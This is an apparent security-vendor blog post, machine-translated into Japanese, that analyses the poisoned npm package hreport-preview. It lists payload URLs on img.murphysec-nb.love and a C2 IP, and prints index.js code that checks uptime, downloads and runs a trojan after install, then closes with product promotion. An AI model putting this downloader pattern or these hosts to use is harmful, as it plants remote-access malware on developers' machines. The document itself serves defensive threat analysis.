背景
2023 年 8 月 14 日の夜、マーフィー セキュリティ ラボは「国内金融企業に対する最初のオープンソース コンポーネント ポイズニング攻撃」 NPM ポイズニング インシデント分析記事をリリースしました。その後、8 月 17 日に新しい NPM を監視しましたポイズニング コンポーネント パッケージのレポートプレビューでは、トロイの木馬ファイルのダウンロードに使用されたポイズニング コンポーネントのドメイン名アドレスは、実際には img.murphysec-nb.love であり (下の図 1 を参照)、このドメイン名の登録時刻は 8 月 14 日であり、ポイズナーは登録されたメールアドレスは、hotmail の一時登録メールアドレスでもあります、明らかに、前回私たちに毒された攻撃者が、私たちに並ぶために中央レーンに急いでいます、お兄さん、そんなに早くしたいですか-_-!
図 1: Whois 検索
その日の正午には、海の向こうの美しい国コロラドにあるソフトウェアサプライチェーンセキュリティのスタートアップ企業phylum.ioのCTO、ルイ氏からもこの件を懸念した手紙が届きました。 (図 2 を参照)、毒物コンポーネントが私たちによって行われたかどうかを尋ねるのは恥ずかしいことです。
図2: 中毒パッケージについて尋ねた門からの手紙
中毒事件の分析
8 月 17 日午前 7 時、マーフィー セキュリティ ラボは、ユーザー rowebrighttix (電子メール: [email protected]) がリモート コントロール トロイの木馬を運ぶ NPM コンポーネント パッケージ hreport-preview を NPM にアップロードしたことを監視しました (図 3 を参照)。
図 3: NPM リポジトリ hreport-preview コンポーネント パッケージ
Readme のタイトルは「共通関数の統合」 であり、以下にリストされている共通関数名は中国語の記事に由来しているため (図 4 を参照)、毒殺者には中国の背景がある可能性が高くなります。
図 4: 「開発効率を向上させる 56 の JavaScript ユーティリティ関数!」該当する関数名は記事内に記載されています
コード分析
ユーザーがコンポーネント パッケージをインストールすると、package.json 内の postinstall ステートメント ノードindex.js が実行され、Windows/Mac/Linux システムごとに次の URL から悪意のあるトロイの木馬がダウンロードされます。毒物作成者の C2 サーバー (例: 152.195 .38.76) にリモート接続を確立し、悪意のあるコマンドを実行し、ファイルのアップロード/ダウンロードやその他の操作を実行します。これらの操作は、攻撃および防御の訓練でレッド チームによって使用されたと考えられます。
-
https://img.murphysec-nb.love/w_x32.exe
-
https://img.murphysec-nb.love/m_arm
-
https://img.murphysec-nb.love/l_x64
//index.js 下载恶意木马
//......
function check(){
(async () => {
const result = await getip();
if (result){
let status = false;
let donwoload = ""
const platform = os.platform();
const arch = os.arch();
if (platform === 'win32') {
if (uptimeMinutes.toFixed(2) > 10){
donwoload="https://img.murphysec-nb.love/"+"w_"+arch+".exe"
status = true
}
} else if (platform === 'darwin') {
if (uptimeMinutes.toFixed(2) > 10){
donwoload="https://img.murphysec-nb.love/"+"m_"+arch
status = true
}
} else if (platform === 'linux') {
donwoload="https://img.murphysec-nb.love/"+"l_"+arch
await (async () => {
const result = await checkCgroup();
if (result) {
status = true
} else {
if (uptimeMinutes.toFixed(2) > 10){
status = true
}
}
})();
} else {
return
}
if(status) {
await (async () => {
const result = await downloadAndSaveFile(donwoload);
if (result !=null){
if (platform === 'linux' ||platform === 'darwin' ){
addExecutablePermission(result)
}
runInBackground(result)
}
})();
}else {
process.exit(0);
}
}
})();
}
IOC
参考リンク
トラブルシューティング ツールとポイズニング インテリジェンス
Murphy Security は、オープンソース コンポーネントをターゲットとしたポイズニングをリアルタイムでブロックできる製品を提供します
Murphy Security のプライベート ソース ゲートウェイ製品は、npm、pip、maven などの中央ウェアハウスでのポイズニング イベントをリアルタイムで検出および傍受でき、高リスクの脆弱性のベースライン管理をサポートしており、China Mobile などの数十の顧客がアプリケーションを導入しています。
Murphy Security は、リアルタイムのオープンソース コンポーネント ポイズニング インテリジェンス警告を提供します。
Murphy Security のゼロデイ脆弱性およびポイズニング インテリジェンスは、最新の 0day、1day、およびポイズニング インテリジェンスの警告をカバーしています。すべてのインテリジェンスはセキュリティ専門家によって厳密に調査および判断されており、企業が直接入手できる高品質の脆弱性およびポイズニング インテリジェンスが確保されています。 CVE よりもさらに優れており、脆弱性ライブラリには 25 以上の詳細な分析フィールドが追加されており、現在、この製品は Ant、Meituan、China Telecom など数十の顧客に適用されています。
上記の機能を備えた企業は、以下の方法でトライアルを申し込むことができます。
1. QR コードを長押しして適用します。
2. アプリケーションのリンクにアクセスします。
https://murphysec.feishu.cn/share/base/form/shrcny75AEBuEJpL8myuAKPfsPe